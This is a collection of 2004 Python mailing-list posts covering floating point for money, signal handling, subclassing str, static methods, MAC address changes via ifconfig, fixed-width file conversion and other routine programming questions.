Yow! Are we live or at on tape? visi.com From achrist at easystreet.com Wed Sep 22 09:55:50 2004 From: achrist at easystreet.com (Al Christians) Date: Wed, 22 Sep 2004 06:55:50 -0700 Subject: Why not FP for Money? In-Reply-To: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> References: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> Message-ID: <10l316da3s2e77d@corp.supernews.com> I've done plenty of numerical work for financial institutions using floating point, and, as far as I have ever experienced, you are correct. My work has involved insurance (including getting actuarial calculations approved by the pickiest insurance regulators), doing a data systems conversion on over a $billion in customer accounts without losing a cent, lending (programming calculation of terms of consumer loans), and accounting work (preparing financial statements audited by the major accounting firms). This work, however, has all been in the USA. None of the numbers, in dollars, are big enough to make it very likely that you will ever lose a penny using floating point numbers of 64-bits (~16 digits), but using the 80-bit (~18 digits) extended precision numbers that the Intel architecture and a few programming languages support is a little bit better. If it's illegal(!) to overcharge on a loan by $0.01, you have a floating point algorithm that is right 99.999999% of the time, and you are programming for an operation that writes 10,000 loans a year, are you OK? Of course, the knotty problems like this all involve compound interest calculations including expressions with non-integer exponents. And everyone who exponentiates anymore trusts a machine at some stage in their calculations. Which do you trust more, the Intel hardware doing floating point with a trivially small chance of losing a bit that would flip the answer by a penny, or a fixed-point exponentiation routine in someone's COBOL runtime library that works who-knows-how? Two possible drawbacks: 1. You have to remember to re-round after every calculation. Instead of "a = a + b" you have to write "x = round_money(a + b)". When just about every statement is decorated like this, you can see that your programming language is missing something at a low level that you really might want it to have. OTOH, the rounding rules are very often domain-specific, so having one particular set of rules built into the language might be more of a nuisance than a help. 2. I've heard that there are domains where floating point accuracy is not acceptable, although I've not encountered them. I don't know what rules apply to settlement calculations in the U.S. securities markets and if there are big penalties for losing a penny when you settle on a $10 million bond. It seems crazy, but IDK. Similarly, I've seen posts somewhere that said that rules for currency conversions (in Europe?) specifically require something like 26-digit accuracy. 3. There are cases where (numerous) transaction between separate entities are handled by some kind of electronic interchange, where the arrangements between the entities are spelled out by contract, and where systems will choke when the odd penny difference between firm A and firm B occurs. It surely is easier to spell out things in terms of ordinary decimal math, and that makes it easier to get everyone singing off the same sheet. Al John Burton wrote: > "Chris Barker" wrote in message > news:cc887c1d.0409202325.76ec2227 at posting.google.com... > >>Hi all, >> >>I promise this is not a troll... Really, it's embarassing, because >>this is one Engineer that DID take a Numerical Analysis course, and >>from William Kahan, no less, and I still don't really get it. (and >>yes, Alex, I could have gotten my degree without it) >> >>I've seen it suggested various times that one should use fixed point >>for money, perhaps micro cents represented as integers. However, if >>you do that, you need to make sure you do all the rounding correctly. > > > > On my version of python: > > # I spent ?1 and 13 pence > p = 1.13 > > # How many pence is that? > print int(p*100) > 112 > > # Oops > > You don't need quadrillions of dollars before you run into a value which > can't be represented in a floating point value to such a degree that the > rounding comes out wrong. Yes you could probably "fix" the rounding to make > it work in practice but the problems is that it is simply not possible to > represent the value 1.13 in a floating point variable exactly and when > dealing with money you want to represent it exacctly, particularly as it's > so easy to do. > > From simoninusa2001 at yahoo.co.uk Fri Sep 10 00:36:29 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 9 Sep 2004 21:36:29 -0700 Subject: proxy autodetection In-Reply-To: <3595d2fa.0409090713.3f88597d@posting.google.com> Message-ID: Here's a snippet from something I wrote to do this, I think the port is part of "proxies" too - you could just split on the ":" import win32api from win32con import * # internet settings registry key key = win32api.RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings',0,KEY_QUERY_VALUE) # proxy details proxies = win32api.RegQueryValueEx(key,'ProxyServer')[0].split(';') overrides = win32api.RegQueryValueEx(key,'ProxyOverride')[0].split(';') From alex at byzantine.no Mon Sep 27 22:37:25 2004 From: alex at byzantine.no (Alexander Staubo) Date: Tue, 28 Sep 2004 04:37:25 +0200 Subject: Portable, generic, graceful termination Message-ID: <4158CE65.7020503@byzantine.no> Python does not seem to clean up gracefully on SIGTERM: The exit sequence is not invoked on termination, so the atexit module cannot be used to install shutdown logic. Further, while the signal module allows trapping the signal, it does not offer a truly portable way of respecting the termination request. As far as I can see, this issue has been a topic of conversation for years, but I don't see that it has ever been solved: http://www.python.org/search/hypermail/python-1992/0206.html This is what I came up with initially: previousHandler = None def handler(signum, frame): if previousHandler: previousHandler(signum, frame) else: os._exit(128 + signal.SIGTERM) previousHandler = signal.signal(signal.SIGTERM, handler) This at least 1) preserves the Python exit sequence, 2) follows Unix conventions, and 3) is friendly to libraries or anyone else who have installed their own signal handlers. I am, however, concerned with the fact that it could be, as Guido points out, distruptive to things going on concurrently in the interpreter. The other, seemingly more elegant solution is to invent your own exception and add a global exception hook: class Dummy(Exception): pass previousHandler = None def handler(signum, frame): if previousHandler: previousHandler(signum, frame) else: raise Dummy() previousHandler = signal.signal(signal.SIGTERM, handler) def hook(type, value, traceback, previous = sys.excepthook): if not isinstance(value, Dummy): previous(type, value, traceback) This technique has the downside of possibly being caught by alien code. For example, a signal occuring during the following code snippet's execution will effectively be ignored: try: # ... something ... except: logger.error("Something went wrong", exc_info = True) Would someone please come along with an incredibly elegant hack that everyone but I knows about? Alexander. From clifford.wells at comcast.net Mon Sep 20 10:04:34 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 20 Sep 2004 07:04:34 -0700 Subject: Psycopg and threads problem In-Reply-To: References: Message-ID: <1095689074.31957.405.camel@devilbox.devilnet.internal> On Mon, 2004-09-20 at 14:43 +0200, Alban Hertroys wrote: > Hello, > > I'm using psycopg to insert records in a number of threads. After the > threads finish, another thread runs to collect the inserted data. Now, > my problem is that psycopg let's my threads end before the inserts > actually took place, resulting in my collecting thread finding no > records... They are inserted after it checks. > > Is there a way to tell psycopg or python to wait until the insert took > place? I believe turning autocommit on in the connection would achieve this (at the expense of performance and transaction support). You could also add a "commit" SQL statement to each thread. Why not have the threads notify the other threads that it's okay to start working? If you have to wait until the data is completely inserted anyway, have your final thread perform the "commit" and then set a threading.Event or somesuch . Regards, Cliff -- Cliff Wells From vincent at visualtrans.de Wed Sep 15 00:53:04 2004 From: vincent at visualtrans.de (vincent wehren) Date: Wed, 15 Sep 2004 06:53:04 +0200 Subject: embedding python In-Reply-To: References: Message-ID: tom fogal wrote: > Hi all, I can't seem to find out how to get a python script to run from > a C (well, C++...) program. > > In particular, I'm confused about how the execution of the example code > at http://docs.python.org/ext/pure-embedding.html works. If I call the > example code 'multiply.py' and I generate an executable named 'call' (as > the page suggests), I had expected the following to work: > > ./call multiply.py multiply 3 2 How about "call multiply multiply 3 2" (notice the missing extension .py) ;) -- Vincent Wehren > > where 'multiply' is a function in multiply.py. The above comes back with > an ImportError saying that there is "No module named multiply.py", and > a similar message if I change 'multiply.py' to 'multiply' (again as the > page would suggest). > > I saw somewhere (sorry, I forget where now) some code that would suggest > that I need to tag my python files with a module name, and got the > vague impression that something like: > > modname="multiply" > mod = __import__(modname) > > would do the trick. This doesn't seem to affect things though... > > Could anyone show me in the right direction towards just getting a > simple 'hello world' type example to be run from a PyImport_ > call? I'm hoping I could figure it out without bothering anyone else > from then on. > > Thank you, > > -tom From AS at nospam.org Mon Sep 13 17:09:44 2004 From: AS at nospam.org (Alberto Santini) Date: Mon, 13 Sep 2004 23:09:44 +0200 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: I suggest you http://www.scintilla.org/ -- Regards, Alberto Santini "Carlos Ribeiro" ha scritto nel messaggio news:mailman.3261.1095106220.5135.python-list at python.org... [snipped] > For now, I'm still having to resort on PythonWin for all my needs. > That's a shame, not because PythonWin isn't good (in fact it's a > fantastic piece of software); but because Python deserves better. > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com From vze4rx4y at verizon.net Tue Sep 7 06:19:15 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Tue, 07 Sep 2004 10:19:15 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> Message-ID: > I was curious, so I googled for "CHOMSKY is an aid to writing linguistic papers in the style" > and found the lisp source: > > http://www-personal.umich.edu/~jlawler/foggy.lsp For those who are interested, here is the engine translated into Python (use the original url to capture the part lists or roll your own): import textwrap, random def format_wisdom(text): return textwrap.fill(text, line_length) def chomskey(times = 1): if not isinstance(times, int): return format_wisdom(__doc__) prevparts = [] newparts = [] output = [] for i in xrange(times): for partlist in (leadins, subjects, verbs, objects): while 1: part = random.choice(partlist) if part not in prevparts: break newparts.append(part) output.append(' '.join(newparts)) prevparts = newparts newparts = [] return format_wisdom(' '.join(output)) print chomskey(5) Raymond Hettinger From jerf at jerf.org Sun Sep 19 20:55:06 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 20 Sep 2004 00:55:06 GMT Subject: python is going to die! =( References: Message-ID: On Mon, 20 Sep 2004 00:28:12 +0000, Kirk Job-Sluder wrote: > In addition, the argument that such and such a language is going to wither > away and "die" in the face of the popularity of another language is an old > troll that's been heard many times before about languages that amazingly > still find themselves to be the right tool for a specific job. Bourne, awk > and sed didn't vanish with perl. C++ didn't vanish in the face of Java > and Visual Basic. Which is an elaboration of what I meant by "boring". Been here, heard this, ain't worth refuting due to fundamental misconceptions. From shalabh at cafepy.com Fri Sep 3 02:47:25 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Thu, 02 Sep 2004 23:47:25 -0700 Subject: Recursive Generator Question In-Reply-To: References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: Shalabh Chaturvedi wrote: > 1. Calling __iter__() should return an object with next() on it. > 2. When you call a function containing yield, it returns a generator. > 3. A generator is function with next() on it. > 3 should be 3. A generator is an object with next() on it. -- Shalabh From xnews2 at fredp.lautre.net Tue Sep 7 16:19:37 2004 From: xnews2 at fredp.lautre.net (Fred Pacquier) Date: 07 Sep 2004 20:19:37 GMT Subject: i18n and GUI under Windows References: Message-ID: andre.roberge at ns.sympatico.ca (Andr? Roberge) said : > In short: I'm looking for a *simple* example of how to write a program > that can have its GUI in at least two languages under Windows ... > using only Python, of course! Well, Andr?, if you really want *simple* (as in *simplistic*, *simple- minded* or *can't-get-no-simpler* :) I have something that does just that (english/french under wxPython)... Note that most of the other suggestions that were given in the rest of this thread are probably better for "serious" work ; but going all the way to GNU gettext is a bit involved, and quick-n-dirty hacks such as this can be enough for simple apps and a handful of languages... It goes something like this (purists please avert your eyes :-), * at the beginning of the main module I have these statements : #--------------------------------------------------------------------- # determine locale and set global french/english flag # import localized strings and define gettext-like '_' function import locale lang, cp = locale.getdefaultlocale() lang = lang[:2] if not lang == 'fr' : lang = 'en' import l10n def _(msg) : if lang == 'fr' : return msg else : return l10n.trans[lang].get(msg, msg) # if no translation found return the original (fr) string * afterwards in your code, everywhere a string appears that needs to be localized, wrap it in a _() function call (this is the convention set by GNU gettext that everyone generally uses even if they don't use gettext itself :) i.e.: "Andr?" becomes _("Andr?") * module l10n.py is just one big dictionary with language locales as strings and dictionaries of original/translated strings as values, as in: # MyApp localized strings # -*- coding: iso-8859-1 -*- trans = {} trans['en'] = { "Andr?" : "Andrew", "Bonjour" : "Hello", "Dictateur Bienveillant A Vie" : "BDFL" } * and that's it. You'll notice that in my example the original version is in French and English is a translation. That's because it was grafted as an afterthought/experiment onto already finished code. Forward-thinking authors may want to do it the other way around, especially if they expect to get help with other languages :-) Then it's not too hard to add, say, a trans['de'] dict to l10n.py and change the locale test above to use it. If automatic detection is not adequate, then the GUI needs to provide a widget or dialog for the user to set the desired language... HTH, fp -- YAFAP : http://www.multimania.com/fredp/ From jmfbahciv at aol.com Wed Sep 15 06:51:59 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 15 Sep 04 10:51:59 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> <873c1k7rre.fsf@p4.internal> Message-ID: <41483225$0$2651$61fed72c@news.rcn.com> In article , anno4000 at lublin.zrz.tu-berlin.de (Anno Siegel) wrote: >This thread is becoming a nuisance in at least some of the groups >it is crossposted to. I suggest taking out at least the comp.lang. >groups. I'll start taking them out but I have no idea where people are. So, if you're not in a.f.c. and want to read what I write, go there. /BAH Subtract a hundred and four for e-mail. From narshe at gmail.com Wed Sep 22 17:10:46 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 22 Sep 2004 16:10:46 -0500 Subject: calling class methods without instance In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022EFC@exchange.hqamor.amorhq.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022EFC@exchange.hqamor.amorhq.net> Message-ID: <4a0cafe20409221410784d1f2e@mail.gmail.com> On Wed, 22 Sep 2004 13:55:44 -0700, Robert Brewer wrote: > > > Josh Close wrote: > > Is there a way to call a class method without an instance of > > that class? > > > > class myClass: > > def printSomething(message): > > print message > > > > myClass.print() > > > > That's basically what I want to do. Is there a way to do that without > > having to do > > > > c = myClass() > > c.print() > > > > I've tried using > > > > class myClass: > > def printSomething(message): > > print message > > printSomething = staticmethod(printSomething) > > > > but that didn't seem to work either. I'm probably just missing > > something really simple here. > > Not sure what you're missing, unless you're not posting a complete > example. This works: > > >>> class myClass: > ... def p(msg): > ... print msg > ... p = staticmethod(p) > ... > >>> myClass.p("hey") > hey > Took a closer look and I was doing something stupid. Static method works fine. Thanks. -Josh From duncan.booth at invalid.invalid Tue Sep 14 09:49:08 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 14 Sep 2004 13:49:08 GMT Subject: subclassing str References: Message-ID: Thomas Lotze wrote: > Using instances > > x = SpecialString('foo') > y = SpecialString(x) > > I want to get this behaviour: > > str(x) => '(foo)' > str(y) => '(foo)' > > That is, I want to be able to make a SpecialString from anything that > has a string representation, but at the same time leave a > SpecialString untouched in the process. After all, it already is and > gets formatted as a SpecialString. > Try this: >>> class SpecialString(str): def __new__(cls, s): if isinstance(s, SpecialString): s = s._raw() return str.__new__(cls, s) def __str__(self): return "(" + self._raw() +")" def _raw(self): return str.__str__(self) >>> x = SpecialString('foo') >>> y = SpecialString(x) >>> print x (foo) >>> print y (foo) You have to override __new__ as the default constructor for str calls the __str__ method on its argument (which is where your extra parens appear). Having added a method to bypass the formatting it makes sense to use it inside __str__ as well otherwise the code is very sensitive to minor edits e.g. changing it to: return "(%s)" % self would cause an infinite loop. From heikowu at ceosg.de Mon Sep 20 04:05:25 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 10:05:25 +0200 Subject: MAC address In-Reply-To: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> Message-ID: <200409201005.25963.heikowu@ceosg.de> Am Montag, 20. September 2004 08:51 schrieb Ajay: > is it possible to change your MAC address from a program? > Can i do that using Python? Depends on what OS you're under... Under Linux (and I'd guess that *BSD works somewhat similar), you can change the hardware address of some network device using: ifconfig down ifconfig hw
ifconfig up So, for example, to change my MAC to some random number (which is invalid, because it's a broadcast address): ifconfig eth0 down ifconfig eth0 hw ether fffefdfcfbfa ifconfig eth0 up Of course, you need to call all this as root. From Python, that would be: import os def setmac(device,mac): os.system("ifconfig %s down" % device) os.system("ifconfig %s hw ether %s" % (device,mac)) os.system("ifconfig %s up" % device) Under Windows (2000, XP, NT?) there's also the possibility to change the MAC of a network device, but I don't know if you can access this OS functionality from somewhere else than the dialog box which offers it (maybe you can change it somewhere in the registry, don't know). Heiko. From Luke_member at newsguy.com Sat Sep 11 16:58:15 2004 From: Luke_member at newsguy.com (Luke) Date: 11 Sep 2004 13:58:15 -0700 Subject: RSS generation References: Message-ID: >I'm looking for a python module which can help generate RSS feeds >in various formats - 0.92, 1.0, 2.0, atom etc... Its not python, but there is a rss generation tool in beta - FeedForAll http://www.feedforall.com Maybe worth a look Luke From bgabriel at cloudthunder.com Wed Sep 29 14:59:12 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 14:59:12 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: <20040929183943.GA19882@lairds.us> References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> <415B02D1.2070108@cloudthunder.com> <20040929183943.GA19882@lairds.us> Message-ID: <415B0600.2010805@cloudthunder.com> >I appreciate your quick responsiveness to my bile. >I have much more to say about your proposal. It's >likely to be late in the weekend before I can again >make time to reply. > > I look forward to hearing from you further, though I must inform you that the deadline for the proposal is tomorrow so I will not be able incorporate any of your further comments or suggested modifications past that time. Nevertheless, I would be happy to answer any of your questions and I am sure my project will benefit from this discourse. - Bishara From robin.siebler at palmsource.com Tue Sep 14 14:07:08 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 14 Sep 2004 11:07:08 -0700 Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> Message-ID: <95c29a5e.0409141007.77a319f0@posting.google.com> > But why would you want that? Because I don't know any better? Seriously. I like Python, but I'm not a programmer. I'm more of a power user. I use Python (or batch files or VB), to perform a specific task and that's it. I might use whatever language, or tool for a few weeks and then not go back to it until I need it again, which could be six months or 2 years, at which point I have to learn everything that I have forgotten all over again. Such is the lot of a tester. I long for the cyperpunk future where I can download all of my Python knowledge to a chip and upload it when I need it (or better yet someone else's knowledge) with the knowledge as fresh as if I had just learned it. From stimpy1997uk at yahoo.com Fri Sep 3 13:12:20 2004 From: stimpy1997uk at yahoo.com (Stimpy) Date: Fri, 3 Sep 2004 18:12:20 +0100 Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> Message-ID: <2prna6Fnrv5rU1@uni-berlin.de> jmfbahciv at aol.com wrote: > > There was a city getting restored in Turkey that JMF and I visited; > I cannot remember its name other than it's in the New Testament > written by Paul. It was one of most fascinating places I'd ever > been other than aquariums and zoos. There are ruts in the > stone-block pavements caused by running carts to/from harbor/city. > We were told that these ruts were worn down by usage. There are many streets and paths in the UK still in everyday use where this is the case! From lbates at swamisoft.com Tue Sep 21 14:30:52 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 21 Sep 2004 13:30:52 -0500 Subject: Translate tab-delimited to fixed width text References: Message-ID: <_5OdnczZG-fE7s3cRVn-sQ@comcast.com> What's up with all the semi-colon (;) line terminators? Seems like some mixture of Javascript and Python here. I tend to do this with classes. Then I can take advantage of using the __str__ method to build the output string. class outputrec: # # default = default value if not given (also defines length) # fmt = format string to build output (%s, %i, %.2f, etc.) # justify = None (left) or right # values = list of allowable values # _record={'Email': {'default':100*' ', 'fmt': '%s', 'justify': None, 'values': None}}, 'FirstName':{'default':20*' ', 'fmt': '%s', 'justify': None, 'values': None}}, # # Insert remainder of fields here # } _attributes=('Email','FirstName',...) def __init__(self, **kwargs): #----------------------------------------------------------------------- # If any keyword arguments were passed in, update local attributes with # their values. #----------------------------------------------------------------------- for attribute in [a for a in kwargs.keys() if a in self._attributes]: self.__setattr__(attribute, kwargs[attribute]) return def __setattr__(self, attribute, value): ''' Override the __setattr__ method so that I can limit the attributes to only those in the _record defined and so I can properly justify the attributes according to the justification entry. ''' #----------------------------------------------------------------------- # Create shortcut to self.__dict__ #----------------------------------------------------------------------- D=self.__dict__ #----------------------------------------------------------------------- # Make sure that caller is setting a legal attribute #----------------------------------------------------------------------- if attribute not in self._attributes: raise AttributeError, "accpacPRbase: Illegal attribute=%s" % \ attribute #----------------------------------------------------------------------- # See if the attribute has a list of allowable values and check the # value against that list. #----------------------------------------------------------------------- values=self._record[attribute]['values'] if values and (value not in values): print "attribute=%s, value=%s not in " \ "values list=%s" % (attribute, value, values)) sys.exit(2) #----------------------------------------------------------------------- # Check the length of string attributes to make sure they are not too # long #----------------------------------------------------------------------- if not self._record[attribute]['fmt'] == '"%s"': D[attribute]=value else: max_length=len(self._record[attribute]['default']) if len(value) > max_length: print "attribute=%s, too long, " \ "value='%s' truncated" % (attribute, value)) print "len(%s)=%i, maxlen=%i" % \ (attribute, len(attribute), max_length)) #--------------------------------------------------------------- # Chop it off at the maximum length #--------------------------------------------------------------- value=value[:max_length] #------------------------------------------------------------------- # See if this value is to be justified to the right, if so justify # it to the length of the default value. #------------------------------------------------------------------- if self._record[attribute]['justify']: D[attribute]=value.rstrip().rjust(max_length) else: D[attribute]=value.rstrip().ljust(max_length) return def __str__(self): ''' Create and return a string representation of this record for output. ''' #----------------------------------------------------------------------- # Create shortcut to self.__dict__ #----------------------------------------------------------------------- D=self.__dict__ outputlist=[] #----------------------------------------------------------------------- # Loop over every possible attribute and use the defined format string # to format it for output record. Output record is then joined and # returned. #----------------------------------------------------------------------- for attribute in self._attributes: outputlist.append(self._record[attribute]['fmt'] % D[attribute]) return ''.join(outputlist) OREC=outputrec() OREC.Email='user at domain.com' OREC.FirstName='Whatever' # # Put more assignments here # # or you can do in single statement # OREC=outputrec(Email='user at domain.com', FirstName='Whatever') Then you can get output record as f.writelines(OREC) There are LOTS of ways to accomplish this and I've tried most of them, this method just works well for me. I do basically the same thing for the input records. Once the record classes are debugged the program is very easy to write. It also "hides" the record formats from the main program which makes it easy should they change or if you want to support multiple formats (just write another one for the new format and conditionally instantiate it in your main program). I have actually created a base class for this and I define my record class with it as the baseclass. This way much of the baseclass code (that is debugged) is reusable. Hope this helps. Larry Bates "mike beck" wrote in message news:ead93a6.0409210948.7a80e5db at posting.google.com... > I'm writing a script to take a tab-delimited input file where the > format is known and transform it to a fixed-width text file. I thought > that the script might be easier to troubleshoot or edit later (if the > file formats change, for example) if I specified the column names for > the input and output files, which is why I didn't just map input > column 1 -> export column 14. > > Even though I've spent some quality time with the archives and the > fine manual, I'm pretty sure that I'm doing some WRONG THINGS. Or > perhaps some SUB-OPTIMAL THINGS. And possibly REALLY WEIRD THINGS. Or > just maybe THINGS THAT WILL WORK FOR A LITTLE WHILE BUT WILL SURELY > CAUSE DIRE PROBLEMS AT SOME LATER, INCREDIBLY INCONVENIENT TIME > RESULTING IN HORRIBLE, TRAGIC CONSEQUENCES FOR EVERYONE INVOLVED. > > The script works, but the use of multiple dictionaries seems ... how > should I say ... unintuitive. Is there a better way to move values > from one dictionary to another than what I've done here? I'd > appreciate any other tips (especially those that fit into the > CATEGORIES listed above). > > And I've omitted the read from file and write to file business for the > sake of brevity... > > Standing on the shoulders of giants (meaning, you all!), > Mike > > --- > > """ > Transforms a tab delimited text file to a fixed-width text file. > """ > import copy, string > > DEFFIELDSEP = '\t'; > DEFLINESEP = '\n'; > DEFHASHEADER = 1; # 1 if yes, 0 if no > > import_field_order = ( 'Email', > 'First Name(s)', > 'Last Name', > 'Address Line 1', > 'Address Line 2', > 'City', > 'State', > 'Zip Code', ); > > # export columns (keys) to import columns (values) > mapped_fields = { 'EMAIL_ADDRESS_1':'Email', > 'FIRST_NAME_1':'First Name(s)', > 'LAST_NAME_1':'Last Name', > 'ADDRESS_1':'Address Line 1', > 'CITY':'City', > 'STATE':'State', > 'ZIP_CODE':'Zip Code', }; > > # required length and justification of export fields > export_fields = { 'RECORD_TYPE':[1,'left'], > 'ACCOUNT_ID':[8,'left'], > 'TITLE_1':[8,'left'], > 'FIRST_NAME_1':[20,'left'], > 'MIDDLE_NAME_1':[20,'left'], > 'LAST_NAME_1':[20,'left'], > 'SUFFIX_1':[8,'left'], > 'NAME_ID_1':[2,'left'], > 'ADDRESS_1':[256,'left'], > 'CITY':[30,'left'], > 'STATE':[2,'left'], > 'ZIP_CODE':[5,'left'], > 'ZIP_EXTENSION':[4,'left'], > 'EMAIL_ADDRESS_1':[100,'left'], > 'EMAIL_ADDRESS_TYPE_1':[2,'left'], }; > > export_field_order = ( 'RECORD_TYPE', > 'ACCOUNT_ID', > 'TITLE_1', > 'FIRST_NAME_1', > 'MIDDLE_NAME_1', > 'LAST_NAME_1', > 'SUFFIX_1', > 'NAME_ID_1', > 'ADDRESS_1', > 'CITY', > 'STATE', > 'ZIP_CODE', > 'ZIP_EXTENSION', > 'EMAIL_ADDRESS_1', > 'EMAIL_ADDRESS_TYPE_1', ); > > def pad ( elem, max_length, justification=None): > """ > Pad a string to a predetermined length. Truncate the string > if necessary. By default, left justify and pad with spaces. > """ > padded_value = ''; > # what if elem is none? > if (justification is 'right'): > padded_value = elem.rjust(max_length)[:max_length] > else: > padded_value = elem.ljust(max_length)[:max_length] > return padded_value > > def glue ( var, ref, order ): > """ > Build a string with padded dictionary values. > Var and ref are dictionaries, order is a tuple describing the > field order. > """ > finished_line = [] > # pad the items > for k in var.keys(): > # pad (value, length, justification) > var[k] = pad( str(var[k]), ref[k][0], ref[k][1]) > # build the line in order > for elem in order: > finished_line.append(dict.get(var, elem)) > # join the elements and return a string > return ''.join([x for x in finished_line]) > > def build ( line, field_sep = DEFFIELDSEP ): > """ > Create a single record by transposing fields via > multiple dictionaries. > """ > fields = string.split(line, field_sep); > # trim whitespace > fields = map(string.strip, fields) > # create dict of import column names (keys) and import > # data (values) > step_one = dict([(q,a) for q,a in zip(import_field_order, > fields)]) > # create a 'throwaway' copy of the mapped fields dict to > # do the transform > step_two = copy.deepcopy(mapped_fields) > # replace the column names of the import file with the > # values from the import file > for k,v in step_two.items(): > step_two[k] = dict.get(step_one, v) > # create an empty dict with the export column names > step_three = dict([(q,'') for q in export_field_order]) > dict.update(step_three, step_two) > # special cases > step_three['RECORD_TYPE'] = 'D' > step_three['EMAIL_ADDRESS_TYPE_1'] = 'I' > return glue(step_three, export_fields, export_field_order) > > def decapitate(infile,has_header=DEFHASHEADER,line_sep=DEFLINESEP): > """ > Return file without header row > """ > if (has_header): > sans_head = string.split(infile, line_sep)[1:] > else: > sans_head = string.split(infile, line_sep) > return sans_head > > if __name__ == '__main__': > > # init vars > out_lst = [] > > # sample data. Names have been changed ... ;) > fin = {'data': 'Email\tFirst Name(s)\tLast Name\tAddress Line > 1\tAddress Line 2\tCity\tState\tZip > Code\nme at test.com\tBill\tMunroe\t416 > Main\t\tManhattan\tNY\t10471\ngodaddy at test.com\tGeorge\tScott\t111 > Blue Street 2005\t\tSan > Francisco\tCA\t94144\nmmike at test.net\tMike\tBork\t22 Oak > Rd\t\tAlbuquerque\tNM\t01720-5303\npsycho at test.com\tIma\tCrazy\t1111 E > Maple Rd\t\tDenver\tCo\t80206-6139'}; > > # get a list of lines without a header row > lines = decapitate(fin['data']); > > for line in lines: > # check for blank lines > if (line): > out_lst.append(build(line)) > > print out_lst; From russblau at hotmail.com Wed Sep 1 14:34:45 2004 From: russblau at hotmail.com (Russell Blau) Date: Wed, 1 Sep 2004 14:34:45 -0400 Subject: negative stride list slices References: Message-ID: <2pmj26FmsekkU1@uni-berlin.de> "Batista, Facundo" wrote in message news:mailman.2732.1094061711.5135.python-list at python.org... > [dave at boost-consulting.com] > > #- >>> print range(10)[:-3:-1] > #- [9,8] > #- > #- I found this result very surprising, and would just like to see the > #- rules written down somewhere. > > Slice objects > Slice objects are used to represent slices when extended slice syntax is > used. This is a slice using two colons, or multiple slices or ellipses > separated by commas, e.g., a[i:j:step], a[i:j, k:l], or a[..., i:j]. They > are also created by the built-in slice() function. > > Special read-only attributes: start is the lower bound; stop is the > upper bound; step is the step value; each is None if omitted. These > attributes can have any type. > > (from http://www.python.org/dev/doc/devel/ref/types.html#types) That defines what a slice is; it doesn't define how a list (or other object) will behave when presented with a slice object as an index. -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From peter at engcorp.com Wed Sep 8 11:59:38 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 08 Sep 2004 11:59:38 -0400 Subject: A historical question In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > On Wed, 08 Sep 2004 14:20:40 -0700, Jerald wrote: >>I'd like to know when python started working with bytecode. >>It seems natural that in the first python implementations >>code was really interpreted : executed directly. > > I assume that you expect direct execution to be the easiest way to > start implementing a new language. However, that's far from true. It's > actually pretty difficult to execut programs in procedural languages > *without* some form of intermediate code, and almost all computer > languages are compiled at some level before execution. The only > situation where direct execution makes sense is in the case of simple > command line interfaces; some simple shell script languages may be > still executed this way, but that's an exception to the rule. Even old > languages such as BASIC used to be compiled to some form of > intermediate code -- a similar concept to Python's bytecode, but much > simpler. This is not, as far as I know, true. At least, not for the general case, although certain specific implementations of BASIC may have worked this way. If you are thinking, for example, of how the early BASICs on things like the Apple ][ and the PET computers worked, you are misinterpreting (no pun intended) what actually happened, IMHO. The only "compilation" that went on was actually called "tokenization", and that meant only that keywords such as PRINT were turned into single-byte values that corresponded directly to the keyword in the source. The rest of the source was left as-is, including the quotation marks around strings, variable names, etc. I think whitespace was generally compressed (i.e. multiple spaces in places where it wasn't syntactically meaningful were turned into one or none) but this and the tokenization was more for memory conservation than for anything else. I guess one could call this "compilation"... I wouldn't. In fact, I think in general compilation is a process which is not 100% reversible, whereas tokenization in the form BASIC did it was (whitespace aside). -Peter From jlearman at cisco.com Sat Sep 4 11:23:12 2004 From: jlearman at cisco.com (Jeff Learman) Date: Sat, 04 Sep 2004 11:23:12 -0400 Subject: blocking read on stdin on Windows? Message-ID: <1094311253.319782@sj-nntpcache-5> I want to do a very simple thing in Windows. (Using Python Shell.) I want to write a prompt to sys.stdout and read the user input. (Ideally, without waiting for a newline.) Here are the problems I'm encountering. Newbie problems, no doubt. sys.stdin.read() gives me an attribute error sys.stdin.readline() doesn't block waiting for input. And even if it did, it would block waiting for a newline. I thought sys.stdin was supposed to behave like a File object. In Python Shell it's actually 